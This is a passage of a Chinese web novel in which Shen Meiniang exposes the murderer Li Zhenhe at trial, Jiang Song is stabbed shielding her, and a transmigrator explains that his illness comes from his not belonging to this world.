“那陛下呢?”沈温问 。 难道沈美娘不喜欢姜颂了吗? 她闻言默了片刻,眼睫投下一片阴影:“我会让他活命。” 不远处突然传来一阵声音,沈温连忙过去查看,发觉是一只狸奴趴在墙上,将瓦片弄到了地上。 他松了口气,沈美娘却觉得有些不对劲儿。 等到中午姜颂来给她送饭时,沈美娘悄悄看了他好几眼。 姜颂把菜都摆在了桌上,看她不吃,道:“你再不来吃,菜就凉了。” “来了,来了。”沈美娘忙端起碗。 以姜颂的性格,他要是今天在外面听到了她与沈温的谈话,他肯定会直接问她吧。 想来中午的动静应该不是他弄出来的。 沈美娘边吃东西,边偷偷看姜颂,发现他还是如往常般捧着脸,用“星星眼”看她。 她这才完全放下心来。 姜颂等她吃完,又问了她晚上想吃什么,沈美娘也把想吃的东西都告诉他了。 “好。”姜颂笑得眉眼弯弯。 他起身想提食盒,却忽然踉跄了几下,沈美娘忙扶住他。 她伸手摸了摸姜颂的额头:“你怎么呢?是生病了吗?” “没有……就是站起来得太急,有些头昏。”姜颂摇头,“这很正常的,你坐久了突然起来,难道不会吗?” 沈美娘确实也会。 可那不就是有瞬间的不适,哪里会像姜颂这样站起来差点站不稳呢? 沈美娘盯着姜颂,上下打量了一番,道:“宋江江,你要是得不治之症了,你可得提前告诉我,不许装没事人。” 她仔细回想了一下,姜颂确实好久以前就不太对劲儿。 在南州的时候,他受那般重的伤都能很快好起来,可自从回了上京,他的身体就好像越来越差。 之前在玉泉观遇刺的伤,还没他在南州被她捡到时的伤重,结果他躺床上养了那么久的伤。 前段时间两人熬夜等青词,宝儿睡过去能理解,可姜颂在南州时熬夜都能驾车,他怎么也会睡过去? 更别提,刚才这人差点栽倒在地上。 他该不会……是瞒着她什么事吧。 就像宋薇书里写的,有的小说里,男女主得了一种叫“癌症”的东西,就会故意隐瞒和对方分手,让对方没那般伤心。 姜颂立刻摇头:“没有!我真的没事了,我的身体就是时好时坏。” 沈美娘还是不太放心,让沈温带来的大夫给姜颂把脉。 可是大夫也说姜颂没事。 “你看吧,我真没骗你。”姜颂道。 沈美娘这才稍微放心一些。 她让大夫退下后,才看向姜颂:“你没事就好,不过……” “宋江江,你如果有什么不舒服的地方,你一定要告诉我。”沈美娘顿了一下,“就算是不治之症,你也要告诉我,不然……不然我等你死了,我养八百个男宠,一天换一个都不重样。” “不行!”姜颂难得生气,“我不准,不许,不可以!” 沈美娘捏了捏姜颂的脸,和他四目相对:“那你答应我,你得长命百岁,不许死那么早。” 姜颂撇嘴:“你别把死啊活的挂嘴边,多不吉利,而且……又不是我说我能活多久,我就可以活多久的。” 他父皇身体不好,三十六岁就去世了。 他从小身体也时好时坏的,谁知道他能活多久。 “好。”沈美娘也没逼姜颂,她摸了摸姜颂的脸,“那我说——” “姜颂你一定可以长命百岁。” 姜颂没想到沈美娘会在这件事上格外认真,他有些不知所措地眨了眨眼睛。 片刻后,他有些幽怨:“我要是早死,不正好方便你找第二春,第三春嘛……” “原来你把我这话当真了啊。”沈美娘挑眉,“宋江江,你怎的这般喜欢吃醋。” 姜颂正想辩解他没有吃醋,就听到沈美娘道:“我答应你。” “只要你活到我们都白发苍苍,等你死了,我就不找情人。”沈美娘道。 姜颂轻“嗯”了一声。 他想到早晨因为忘记沈美娘,说的肉饼到底是要羊肉哪个部位的肉做,折返回来时听到的话。 其实,他不在意沈美娘觊觎皇位。 反正他本来就不适合当皇帝,也不喜欢做皇帝,如果美娘来的话……肯定会比他做得好千倍万倍。 姜颂只是介意沈美娘不和他说,反而和那个沈温推心置腹。 他几乎是从齿缝间挤出话来:“美娘……你、你要是真的寂寞,也可以。” 姜颂知道沈美娘是个很重欲的人,不论是权欲,还是情/欲。 沈美娘没想到姜颂会说出这样的话来,原本的笑意凝固在脸上。 “但是沈温不可以,他不可以。”姜颂斩钉截铁道。 如果有天他不在了,美娘得找个爱她的,很爱很爱她的人才可以。 他才放心。 第68章 第68章第二次掏心掏肺。 沈美娘一直都知道姜颂他有些……她想了好久,也不知道该怎么说他这个人。 说他“恋爱脑”的话,这个词其实不算个好词儿。 在姜颂向往的那个未曾谋面的家乡,“恋爱脑”好像是拿来骂人的。 沈美娘不想这般说姜颂。 他只是有些天真幼稚,只是对爱情赤诚热烈,他才不是恋爱脑。 沈美娘沉默许久,才用力抱住姜颂:“我不会。” 不会有人比姜颂更爱她。 爱到可以为她生,可以为她死。 姜颂原本没指望能得到沈美娘确切的回答,但她竟给了。 他呆了片刻,才连忙道:“好、好!” “不过——”沈美娘还是坚持道,“你还是得长命百岁,我说你可以就可以。” 她目光灼灼,即使是正午时的明媚骄阳也逊色许多:“就算是上天偏要你死,我也能叫你活。” 姜颂就算身体不好又怎样? 沈美娘从不相信,这世上有用心养会养不好的病。 还别说姜颂只是身体不好,又不是有病。 她捧着姜颂的脸,格外认真:“就算是为了我,你也要活下去。” 姜颂愣愣点头。 他有些得意地抿唇,但还是沉不住气小声道:“美娘,你是不是,现在心里最在意的人,是我啊?” “不是。”沈美娘道。 她见姜颂有些失落,又补上一句话:“你是我心里,除开我阿爹外,最重要的男人。” 姜颂听到这个愣了愣,旋即反应过来,笑着抱住她。 能在沈美娘心里排到这个位置,他已经很满意了。 那个沈温下下下辈子都不可能取代他,到这个位置。 沈美娘被姜颂抱着,被他的笑意感染,也忍不住跟着笑起来。 秋风吹动两人的衣袂,原是泛着寒意的风,但在此时此刻,没人会感受到它的存在。 那日推心置腹的话后,沈美娘也不再认为,姜颂有偷听到她与沈温的话。 在她的认知里面,权力、金钱这种东西,是这世上的人最不能舍弃。 更别说姜颂是皇帝了。 他要是听到她有不臣之心,他肯定会让人除掉她的,哪里还会那般爱她? 沈美娘心底的疑虑打消,沈温一直盯着的仙师那些弟子那边,也有了动静。 她让沈温放出了仙师不认当年杀沈头人罪的消息。 沈温问她:“这样真的能逼李振鹤动手吗?” “兴许不能,但不是还有你吗?”沈美娘看向沈温,“你就也得让人宣扬宣扬你为官如何刚直不阿,如何清正廉明了。” 沈温听出来沈美娘话里的讽刺意味,道:“您说笑了,臣何以爬到今天的位置,您能不清楚吗?” 先不提当年他献美讨好地方官员的事,他在朝堂上也是以“菩萨面、修罗心”出的名。 刚迈入仕途的那些日子,为了得到谢阁老的青眼,沈温为他做过不少脏活。 他的名声可不算好。 “这里的人被这群山阻挡,他们哪里知道外面的官老爷们在斗些什么。”沈美娘指着官府门口的行 人,“这里的人连皇帝是谁都未必清楚,更别说什么谢党、叶党。” 比起这些晦涩的人名,他们会更在意的,只是皇帝遇到喜事、祥瑞,可能会抽中下辖十八寨子的县,免去今年的税。 至于你皇帝是病死了,丞相被刺杀了,尚书侍郎是黑是白——辛劳一年都未必能温饱的百姓,可没闲心去关注。 可惜,沈温这样的贵公子,下辈子恐怕都弄不明白这些道理。 沈美娘的目光淡淡落在沈温身上:“沈大人不要把你想得太厉害了,这里的人,连你吏部侍郎的官和寨老,究竟谁更厉害可都拿不准。” 沈温明白沈美娘的用意,点头:“臣明白夫人的意思了。” 沈美娘又提醒:“也把狱卒们都盯好了……” 沈温:“这个臣明白。” 布局的人自然对棋局熟稔无比,但身在局中的人却未必知晓。 李振鹤陆陆续续听到了他师父不肯招认的消息,又在路上听人闲聊,说那位沈大人是京中来的大官。 那些人都说他是一等一的好官,才能年纪轻轻就坐到如今的位置。 李振鹤听到这些消息,原本在被放出监狱后松了几分的心,又猛地被揪住一团。 他立刻意识到这是个局。 沈美娘那个女人能够蛰伏这么多年,才回来报仇,她的心计谋算绝非常人能比。 沈美娘以为这样就能激他去杀仙师灭口?好叫她拿到把柄? 那这个女人也太看不起他了。 李振鹤眼中闪过一丝寒光。 他根本不畏惧沈美娘继续盘查下去。 又如此平静了十来天,可在某个清晨,李振鹤家却闯进来一队官差。 他看向为首的沈温,质问:“你们这是做什么?” 沈温像看蝼蚁般,目光轻扫过这人,只道:“带走。” 李振鹤被官差按住,他挣扎道:“你们这些人仗着自己是官差,就可以随意绑架良民吗?” 他大声嚷嚷,在大街上引来路人频频关注。 沈温转身,盯着他冷冷道:“都听好了,本官奉命查案,来抓你定是有了文书和证据。” “若有疑虑者,尽可上官府询问。” 官差将李振鹤带回官府,坐在上首的人是陆大人,他见沈温来了,起身给他让位。 沈温拱手,退了一步:“您才是思州的父母官,这案子自然得您来审。” 陆大人点头,让人给沈温搬了凳子,叫他也在上首坐下。 “李振鹤,你可知罪。”陆大人质问道。 李振鹤依旧故作不知:“大人可是说小的被那仙师……妖道蛊惑之事,可是诸位大人不是说,我等也是被蒙骗,将我们都放了吗?” 陆大人呵斥道:“你竟还敢装傻。” 他看了眼堂上隔着一道屏风,坐在那里的女人,见她微微点头。 陆大人才叫人将证据呈了上来——这是一份账簿。 “仙师说,日常庙中弟子的开销,还有祭祀月神的许多杂事,都是交给你来做的。”陆大人让人将这本账簿上的某处指给他看,“这里的账目明显有问题,少的那三桶石漆,不知去了哪里?” 李振鹤也没就因这简单几句话就自乱阵脚,他不疾不徐道:“那妖道平日里抠搜至极,我从采办里贪点……大人,我时不时贪点而已。” 陆大人见这李振鹤的话,和沈美娘说的话一点都不差,对这位贵妃娘娘佩服的同时,心里也对这人来气。 他猛拍桌子:“事到如今,你竟还在狡辩。” “石漆乃是攻城拔寨才会用的军用物资,朝堂管得颇严,你要买三桶这东西——怕是你得跑好几个黑市,才买的来。”陆大人道。 李振鹤之前就被这个陆大人审过,他知道这人和沈温不同,他就是个草包而已。 那他这番话恐怕也不是他所说。 李振鹤向陆大人时不时看的屏风看过去,只见那里影影绰绰像是坐了个女人。 他几乎立刻确定那人就是沈美娘。 李振鹤直到此时才反应过来,这局他不论怎么走都是死局。 但他还是垂死挣扎道:“大人您说得对,所以我才从这里头贪来,想转头再寻个好价卖出去啊。” “够了。”陆大人让人将一卷卷宗放到他面前,“你自己看看这是什么?” “五年前,城中有位姓冉的巫医家中房屋被雷劈中,全家七口人,除了在外行医的小女儿全都死了。”陆大人又指了指那账簿,“可那小女儿后来回来时,明确说,那晚她闻到了一股奇怪的味,这味道可与给月神献祭时的味道一模一样。” “那夜风雨大作,那户人家的火却扑不灭……你们仙师却说,他家是被月神降罪才会如此。”说到此处陆大人都不免动怒。 这样整整七口人,最后的死因,竟草草以一个“神灵”作结。 李振鹤额头上有薄汗渗出,他确信这些话都是沈美娘教这个陆大人说的。 这就是那个女人会说的话。 他却还是不得不继续狡辩:“大人,这都是仙师说的……小的确实不知道。” “是吗?”陆大人反问。 他让人将那巫医的女儿带进来——她是上次月神献祭时,某个孩子的母亲,也是七年前被沈美娘救下的月神新娘。 她看向李振鹤道:“七年前,你曾向我父亲买过毒药,当时我和父亲都不知道你的用途。” “直到前几日陆大人找到我,也才知道当年沈头人和那十几位头人都是被毒死的。” 女人轻笑:“你以为我父亲只有一份记录,放于家中存放,却不知像毒药这种东西,我父亲都是做两份买卖记录的。” “一份以大燕文字存于家中,一份用我们本族文字写好随身携带。” 父亲最看中她这个天赋异禀的女儿,所以那份用本族文字写在帛上的买卖记录,都是由她随身携带。 李振鹤听到这里终于不再狡辩。 陆大人指着他道:“你这人买了毒药,在沈夫人那晚离开后,将毒药给沈头人们喝下不说。竟还为抹去痕迹,对巫医一家也痛下杀手……你这种畜生,竟还堪为人?” 李振鹤没将陆大人的话听进去一句,他只知道这一局,他就是被沈美娘算计死了。 他对屏风后的女人,吼道:“你竟算计我至此?” 沈美娘见这件事已经审完了,她也从屏风后走出来,道:“这可不叫算计,你算什么东西,也需要我花心思算计?” “这从来都不是一个局,最多——也只能说是个捉弄你的游戏罢了。”沈美娘道。 她慢慢解释:“你如果当年灭了口,那就不会去动杀你师父的念头;你若是没灭口,那就肯定会杀他。” 但不论李振鹤选择哪一条路,他都暴露了可以查的地方。 沈美娘就是故意引他,自己将当年他犯的错全都暴露出来。 她看到李振鹤双眼猩红,恨不得杀了她的样子,嘴角的笑意愈深:“和老虎搏斗久了,逗逗小老鼠玩,也挺有意思的。” 沈美娘也曾觉得她太蠢了,会被李振鹤当年的几句话煽动,还会想不清楚这人的目的—— 他不过就是想借她的手除去他师父。 李振鹤以为杀了和仙师有合作的沈头人,能轮到他顶上去,却没想到只要有利益在,一个沈头人死了,还会有无数个“沈头人”顶上来。 李振鹤可没他师父德高望重,能得到头人、寨老的支持。 于是,他故意让李洵风偷走钥匙,放沈美娘离开——他希望借沈美娘的手除掉仙师。 奈何,他没想到沈美娘只是阉了仙师,却没有杀他。 沈美娘微微俯身:“你能赢十二岁的我,全是因为你胜之不武。” 李振鹤比她大了两岁,本就比她多许多阅历。 何况,沈美娘那时候虽然和爹娘日子过得清苦,但也得到了他们全部呵护。 单纯的小姑娘,热烈赤诚,又怀揣着善意待这个世上的人。 她会输给李振鹤可太正常了。 现在的她,不能苛责从前的她。 沈美娘奚落完李振鹤提起裙子,就想从这里离开。 她看到门外来给她送饭的姜颂。 沈美娘今日为了李振鹤这事还没吃饭,姜颂也等了她快两个时辰了。 他知道沈美娘不想他掺和这件事,也没进来,就乖乖在门外等着。 沈美娘见姜颂一看到她,眼里就有了笑意,立刻向她跑过来。 可他却忽地脸色一变。 沈美娘被姜颂抱着,往旁边摔去。 她没摔疼,却看到姜颂身后的那根簪子。 好像是李振鹤用来束冠的玉簪,只是做了机关,好像只要按动,就可以如刀般锋利。 发簪就像一把匕首般插在姜颂的后背。 沈美娘还没反应过来,姜颂却先一步开口安慰她:“没事的……我原本想拔剑的,可是我身体好像真的越来越差了。” 他以后可能保护不了沈美娘了。 “美娘,如果我以后越来越废物的话,你还是找一个能和你实现霸业的人吧。”姜颂柔柔笑道。 他呕出一口血,即使他连忙伸手挡,却还是无济于事,血依旧从他的指缝间流下。 沈美娘这才意识到。 原来姜颂知道。 他什么都知道,知道她的野心,知道她的欲/望。 可他还是选择爱她。 第69章 第69章病因。 沈美娘感受到怀里的姜颂,失力地晕了过去。 她喊了他好几声“姜颂”,却都没得到他的回应。 “大夫呢?叫大夫!”沈美娘伸手摸到姜颂的手腕处。 还好。 他没有死,只是他的脉搏并不似往日般有力,反而就像下一刻就要逝去般。 大夫匆匆赶来,替姜颂诊治,可从他们的脸上,沈美娘知道姜颂的情况肯定不太好。 大夫道:“这伤并未伤及要害,本不要紧,但、但……我也不知道为何这位公子的脉搏会如此无力,竟好似……” “好似什么?”沈美娘追问。 大夫擦了擦额头的汗,道:“竟好似气若游丝,恐怕、恐怕……” 沈美娘知道大夫未尽的话,她攥紧被人用担架架起来,要往厢房送的姜颂的手:“你给我听好了——” “你不许死,你要是敢死,我就讨厌你。”沈美娘盯着姜颂毫无血色的脸,恶狠狠道,“我最讨厌被人背叛,你若是敢抛下我一人离开,我以后绝不会思念你片刻。” 沈美娘看着姜颂被带进厢房,又看着大夫们给他处理伤口。 大夫们请她先到屋外等候,她也仍旧痴痴盯着紧闭的门,没有什么反应。 “你哭了。” 沈温的声音刺破默默出神的沈美娘,她这才反应过来。 沈美娘抬手擦了擦眼角,摸到一片冰凉。 她立刻掩袖擦去了脸上的眼泪,她恢复平静,问:“李振鹤呢?” 沈温不知道她问这个做什么,让人将李振鹤带到她面前。 他看沈美娘眼眶泛红的样子,嘲讽道:“没想到你就挑中这么一个不中用的男人?不过就是用簪子……啊!” 李振鹤的话没说完,只见沈美娘抽出官差身上的剑,插在他的右手上——也是他刚才攥着簪子,刺向姜颂的那只手。 沈美娘又迅速将长/剑拔出,她用还沾着血的剑刃,将李振鹤的脸挑起:“你最好祈祷姜颂没事,不然……” 沈美娘嘴角笑意愈深,眼中却尽是寒意:“本朝律法素来宽和,可前朝是有腰斩之刑的。” “被施此刑的人,听说不会当时就丢了性命,可是直到被斩成了两截,上面有头的那截都是还有知觉的。”沈美娘边说边比划。 李振鹤的眼中终于露出几分畏惧之色。 沈美娘:“不过腰斩也便宜你了。你且听好,宋江江若是活不了,我定将你千刀万剐。” 李振鹤从来没在沈美娘眼中见过这种情绪。 别说李振鹤没见过,就算是沈温都从未见过。 在此之前,他从不知道沈美娘这样冷静到冷血的人,原来竟也会为另一个人露出这样的神情。 沈美娘让人将李振鹤带下去,门内的大夫也终于推开门出来。 沈美娘立刻迎了上去:“大夫,他怎么样?” 大夫眼中也满眼不解,他道:“公子的身上的伤口并不深,但我也不知他为何身体会如此孱弱。” 沈美娘听出来他未尽的话,问:“您的意思是说?” “这位公子如今还在昏睡,但依他目前的脉象来看,他能不能醒来,何时能醒来,我等也拿不准。”大夫道。 沈美娘听到这句话,又道:“大夫,您就不能再想想办法吗?” 大夫也很是无奈地摇头:“这位夫人,就算是华佗在世,都未必能治好这位公子……还请您自己再另寻高人吧。” 沈美娘听到这里,也没有继续缠着大夫不放,她不由思考姜颂如今身体异样的原因。 她想到了颜舜华。 那人如果真是什么“快穿者”的话,她可能就知道姜颂身体时好时坏的原因,她又会不会知道救姜颂的办法? 沈美娘对沈温道:“照顾好宋公子,他若是出了什么事,我拿你是问。” 她叮嘱好沈温,就转身向客栈跑去,还好官府离客栈不远。 沈美娘到客栈找到颜舜华,也没有和她寒暄,开门见山道:“我知道你是快穿者。” 果然,她又听到了颜舜华和系统谈话的声音——“系统系统,女主知道我是快穿者,我该怎么办?” “我也能听到你和系统说话的声音,我知道你对我没有恶意。”沈美娘又道。 这次颜舜华不再和系统交谈,她转而看向沈美娘:“我当然对你没恶意,我可是你的粉丝!” 沈美娘知道“粉丝”是什么意思,她也不知道颜舜华什么时候成了她的粉丝。 但此事并不重要,沈美娘更关心姜颂的性命问题:“你可知道姜颂的身体为何时好时坏?他今日受了一点轻伤就昏迷不醒——他过去从不这样。” 颜舜华沉默许久,才叹了口气:“因为,他不属于这个世界。” “我是你的粉丝,我也很乐意帮你和姜颂有情人终成眷属。但我也是上次帮了你们之后才知道,姜颂在这个世界连路人甲都算不上,他本就是不该存在于这个世界的人。”颜舜华解释。 沈美娘还是不懂:“什么叫‘他本不该存在于这个世界’?” 颜舜华道:“就是字面上的意思,这个世界本来就没有姜颂。” “在原本的故事里,先帝掉落山崖后就死了,先帝死后,他的宗室弟弟被拥立为帝。但内有权臣,外有敌国群狼环伺,新帝不过是个傀儡皇帝罢了。”颜舜华讲道。 “即使是男主姜佑,也就是现在的宁王登基为帝,他也依旧只是权臣的傀儡。直到——”颜舜华眼里是对沈美娘的敬佩,“你入宫,陪他斗权臣,打压世家,扫蛮夷。” “但现在这个世界,先帝掉落山崖没死,还莫名其妙多出来了一个姜颂。”颜舜华也头疼地揉了揉眉心。 沈美娘皱眉:“你的意思是说,姜颂他抢了男主的位置,才会无可避免地身体越来越差。” 颜舜华摇头:“不是这个原因。这个世界是因女主而生,男主的更改不重要。” “他会身体时好时坏,是因为,他不属于这个时代。”颜舜华道。 “他越和这个时代的人有一样的思想,就能越被这个世界接纳。” “反之,就会被抹杀。” 沈美娘又指了指自己:“可我有那么多离经叛道的想法……” “那不一样,你是女主,就是因为你拥有领先于这个时代的思想。再说,你的思想都有它生根发芽的原因,姜颂的想法却是被强行灌输的。”颜舜华道。 沈美娘猛地攥紧手,问:“你的意思就是说,姜颂他是不是……必死无疑?” 颜舜华觉得这个话题有些残忍,但还是不得不点头:“对。” 第70章 第70章三段论(bushi)…… 沈美娘想过很多种可能,甚至想过姜颂身体这般奇怪,可能是被下了什么奇毒。 传奇里不是很多吗?像那种可以日积月累才会让人中毒身亡的毒药,而且几乎不会被察觉。 沈美娘没想到姜颂不是中毒,却是这种糟糕许多许多的结果。 她问:“就没什么能救他的办法吗?” “有的!”颜舜华顿了一下,“要救姜颂还是有办法的,只要他和这个时代的人稍微像一些就好。” 沈美娘听到这句话反而愈加沉默。 她忘不了姜颂和她说“他永 远不要被这个时代同化“的样子。 如果让他得被这个时代同化才能活下去的话,姜颂肯定宁愿去死。 沈美娘摇头:“他不会愿意的。” 再说——被这个世界同化的姜颂,就不是“姜颂”了,更不是“宋江江”了。 他会和沈温、叶随、李振鹤,和这个世界的所有男人都一样。 沈美娘喜欢的就是和这个世界的人不一样的姜颂。 颜舜华沉默片刻,又道:“还有一个办法!” “我可以把姜颂送回她娘的家乡。”颜舜华觉得这个办法很好,“你们还可以一块去。” “好。”沈美娘点头,“不过——” “我就不去了,姜颂一个人去就好了。”沈美娘道。 颜舜华不解:“你是担心我送你们两个去会不方便吗?还是你害怕适应不了那边?这些都不是问题。我可以把你们都送去的,再说你是女主,拥有许多进步的思想,你肯定可以适应的。” 沈美娘摇头:“都不是。” 她抬眼看着颜舜华,解释:“我就是想留在这个世界,我不想去那个世界。” 颜舜华听到这里,也没再追问沈美娘。 也是。 姜颂的母亲在那个世界,可沈美娘的家人、朋友们可都在这里。 她当然不会为了和姜颂在一起,就放下这里的一切同他离开。 颜舜华和系统兑换了道具,只见桌上出现了一个小瓷瓶。 她将瓷瓶放在沈美娘手里,道:“这枚药可以让姜颂暂时躲过世界意识,不过时效最多只有三个月。你给他服下,他很快就会醒来。” 沈美娘接过药,又问:“这道具恐怕十分昂贵,你开个价吧。” “不不不……”颜舜华连连摆手,“能够给偶像做事,我求之不得!你不知道,我进快穿局的时候,就在想能不能穿到有你的世界来。” 沈美娘虽然看过宋薇的许多书,但她还是对那个世界的很多东西都不太了解。 比如,她对此刻颜舜华的话就有些不解。 偶像? 难不成颜舜华在做任务前,就已经认识她了吗? 颜舜华看出了她的疑惑,道:“我穿的世界大部分都是小说之类的,但你这个世界不是小说,是一个文明里真实存在过的王朝——姜颂他娘不是这个文明的人,我才是这个文明千年后的人。” 而姜颂的阿娘生活的那个世界,是属于另一个文明的现代。 “我很久很久以前就是你的粉丝!在我们那里,你可是封建王朝里的第一位女帝。”颜舜华道。 沈美娘这才明白过来。 颜舜华生怕沈美娘误会:“总之,你真的不要有心理负担,能给你做事情,我求之不得!” 就是不知道是不是因为姜颂他娘的存在,这个故事线崩得有点太厉害了。 快穿局让颜舜华穿过来把剧情线扮回历史线。 但她也没想到她穿过来,刚把事业经营起来,打算去帮女主,女主就靠自己在原本的时间点当上皇帝的贵妃了。 就是皇帝换了一个人。 快穿局就让她先把这个世界当成度假世界,如果后续女主的历史线再崩,再去修复。 沈美娘听完颜舜华的话,道:“多谢。” “你这次的恩情我记下了,你若是需要庇佑,我会帮你。”沈美娘依旧坚持。 沈美娘拿了药回去让大夫检查是否有毒,又让宝儿给颜舜华准备回礼。 宝儿问:“送什么呢?” “我带的东西里捡最珍贵的给她送去,还有我在宫里常戴的那组步摇,也送过去。”沈美娘道。 世上最难还的就是人情债,她不想欠别人这种东西。 沈美娘隐去“快穿”这部分东西后,也对陆大人说了颜舜华献药救姜颂的事,让他以后要多照拂她。 陆大人连连称是。 沈美娘做完这些事,才将大夫看了之后,确定无毒的药给姜颂服下。 她握着姜颂的手,垂眸默默看着他苍白的脸色。 沈美娘等了好一会儿,才见姜颂的手指突然动了动。 她攥紧他的手,轻声唤:“江江,宋江江……” 姜颂在她的声声轻唤里,缓缓睁眼,他还没来得及说话,就被沈美娘用力抱住。 “美、美娘……”姜颂原本想说沈美娘太用力了,都抱得他有些喘不过气儿来了。 可是说着说着,他就停下话来。 他发现肩头和颈肩一片温热。 沈美娘哭了。 意识到这件事后,姜颂不再说话,只静静地任沈美娘抱着他。 他如果说话的话,沈美娘就需要回答他,但那样沈美娘哽咽的声音,就会暴露她哭了这件事。 姜颂知道沈美娘好强,最不喜欢在任何人面前暴露她的柔软。 他不会说话的,他要照顾沈美娘的面子。 沈美娘发觉姜颂没说话,闷闷道:“你怎么不说话,是不是不舒服?” “没有,我一看到美娘你,我就好开心。全身上下就跟吃了灵丹妙药一样,什么毛病都好了。”姜颂笑道。 “你就会说好听的。”沈美娘原本想状似生气地拍姜颂的肩,又想起他身上有伤。 她转而捏了捏他的脸,红着眼道:“你下次再不要命地给我挡刀,我就再也不理你了。” “那不行,我得保护你!”姜颂在这件事上说什么都不肯让步。 沈美娘也没想到他会这样,眼中神色黯淡:“你想保护我,以后怕是也没机会了。” 她把颜舜华讲的姜颂身体不好的原因,还有可以将他送回他一直都很向往的家乡的事告诉了他。 姜颂却没有沈美娘以为的欢喜,他问:“你不和我一起去我娘的家乡吗?” 沈美娘摇头。 “为什么呢?”姜颂认为沈美娘肯定是不知道那个世界的好处,给她细心描绘那个世界—— “那个世界真的很好,那里人人平等……或许也有你说的不平等的地方,但大体来说,是平等的。吃不饱饭的人官府会给他们饭吃,没有人照顾的孩子会被放到一块照顾,那些孩子也能上学……” 姜颂絮絮叨叨说了许多,总结道:“那里真的很好的。” 沈美娘坐直:“我相信你,我也知道那里很好。” 她看过宋薇的那些书,她当然知道那个地方是个怎样的地方。 沈美娘也曾想,若能叫她到那个世界活一日就死,她也很满意了。 但那只是想想而已。 “那里很好,但它不属于我。”沈美娘道。 “我可以去那里,可是我的爹娘可以吗?我的好友可以吗?就算他们都可以……那这天底下其他受苦受难的人呢?”沈美娘问。 不同于对颜舜华的有所保留,在姜颂问沈美娘这个问题时,她才愿意把她的心里话说出来。 沈美娘继续道:“宋江江,我和你说过,我从小就知道人都是会死的。我小时候……约莫是十岁的时候,我就想人活着究竟是为了什么。” 这个答案她一直想不明白。 活着的每一日都有滋有味,令人眷恋,可正因如此,沈美娘很小的时候就无比害怕死亡,害怕被埋在土里。 后来,她倒是不害怕死亡了,但她依旧不知道人活着是为了什么。 沈美娘道:“我也曾幻想,或许有一日,世上会没有良贱之分,没有贵贱之别。” 她的眼睛亮闪闪的,是无尽的展望。 “我曾觉得这都是我的幻想,也许我真的是个疯子,但那天——我听到你说了你的家乡。”沈美娘转过头看着姜颂道。 “你勾勒出的那个世界真的很美好。可是它不属于我。”沈美娘顿了一下,“现在的这个世间我很讨厌它,但总得有人去改变它……” 沈美娘垂眸看姜颂,眼里是细碎的明光:“人生不过百年,肉体凡胎也过于脆弱,但我还是想做一粒历史的尘埃。” “我做不到废除良贱制度,但我可以保证贱/人们更多的权益。我的后人们,他们也会无限向这件事上靠拢。”沈美娘语气坚定。 她拉住姜颂的手,笑靥如花:“就算只是尘埃、沙砾,想必日积月累,也终究可以铺成一条大道,供后人踩踏。” “我想,人活着的意义就在于此。” 姜颂这才明白他和沈美娘差了多少。 在他还在因为完不成课业烦恼的时候,沈美娘就能在大字不识的情况下,想到这些复杂的问题。 她还能在寻常无趣的日子里,找到它们的答案。 “美娘,你确实比我更适合做皇帝。”姜颂道。 叶先生和父皇在他小时候都和他讲过许多的大道理。 什么“民贵君轻”, 什么“社稷忧患”,什么“爱民如子”……可姜颂很不喜欢这些东西。 因为他的父皇和叶先生他们自己都做不到。 他们位居高位,不都是为了敛财弄权吗?听他们说这些东西,姜颂只觉得讽刺。 但沈美娘——她好像真的可以做到。 “宋江江,你说什么啊……我才没那个本事。”沈美娘才不会认下她有这种野心,“我那日是故意逗沈温的。” 她也觉得这谎言很是拙劣,正担心骗不过去姜颂,就听到他道:“我知道了,我相信你。” 沈美娘松了口气,也不管姜颂说的真话假话,只把话绕回最初的话题:“所以,我不能陪你一起去那个世界了。” 姜颂这次格外爽快:“好。” 但他又道:“我也不去了。” 这次轮到沈美娘不解:“你之前总挂在嘴边说要去那个世界,如今好不容易有了机会,你怎么能不去?你知不知道,你不去,会死的!” “我不去。美娘你从前说得对,兴许那里也并没有我想的那般好。虽然那里是我娘的家乡,但或许也不会很接纳我。”姜颂道。 姜颂从前也不知道人生的意义是什么,更不觉得“皇帝”是什么高尚的职业。 姜颂只觉得这个位置很恐怖。 他父皇几句话,就可以要了一家人,乃至一族人的性命。 御笔轻轻一点一勾,可能就是一场会死几万人的战争。 他才格外抗拒“皇帝”这个位置。 但在沈美娘的身上,他看到了皇帝另一种可能。 兴许他和沈美娘可以留下来,用这世上最大的权力,去尽可能做一颗有用的“尘埃”。 姜颂知道他做不到,但沈美娘可以。 沈美娘被姜颂握紧手,听到他一字一句道:“我要留下来,陪着你。” “你做历史的尘埃,那我就做你身边比你还小很多很多的尘埃。” 他也想这个世界,能早日和他阿娘的世界一样。 他多撑一日,就能多帮美娘一点。 沈美娘默了片刻:“你会死的。” 姜颂抱住她,闻着她身上熟悉的浓郁的脂粉香,闭上眼:“那就去死。” “反正人都是要死的。” 70-80 第71章 第71章凛冬将至。 沈美娘没想到两人聊来聊去,说了这许久,姜颂又把话扯到了他要去死这件事上。 她现在已经相信,姜颂会愿意为了她去死。 但沈美娘不想他死。 姜颂躺在她怀里,虚弱地笑:“美娘,若要叫我接受这个世界的许多糟粕思想,我做不到。” “若要叫我在三个月后离开你,我更做不到。” 沈美娘依旧没说话。 姜颂把玩着她腰间的玉佩——那是姜颂从前送给她的礼物。 他纤长又过于苍白的手指,在莹莹碧玉上显得格格不入。 “就算这个世界不容我,我也会尽力死乞白赖活下去……我会陪你多一天,再多一天。”姜颂道。 沈美娘握住姜颂的手,眼里是直白的动容神色:“好。” 她话虽如此说,心里却已经下定了主意。 她一定要让姜颂活下去,让他去那个千年后的好地方生活。 即使那个地方没有她。 沈美娘望着窗外的草木,兴许是深秋将尽,草木都蒙上了灰败之感。 凛冬就要来了。 她有些出神,也就没注意到姜颂圆润干净的眼,也划过一瞬的坚毅神色,像是下定了某种决心般。 姜颂道:“美娘,等我们处理完此处的事,回京的时候,往蜀中绕绕吧。” “好啊。”沈美娘答应得很爽快,“你要去蜀中做什么?” 姜颂的手指描摹着玉佩的纹路,漫不经心道:“去见蜀王……他算是我舅舅,既来了西南,我当然得去拜见他老人家。” 沈美娘“扑哧”一声笑出声,目光从窗外收回。 她轻戳了戳姜颂的额头:“宋江江,你连亲戚都算不清楚吗?先帝给蜀王封了爵,赐了国姓,那就该是你叔伯,可不是舅舅。” “我分得清。”姜颂辩解,“蜀王和我娘以兄妹相称,我当然得喊他舅舅。” 他把玉佩放到沈美娘手里,握紧道:“美娘,你一定要收好这枚玉佩。你拿着它,蜀王就会听你的。” 沈美娘看着手里的玉佩,没想到这枚玉佩竟有如此作用。 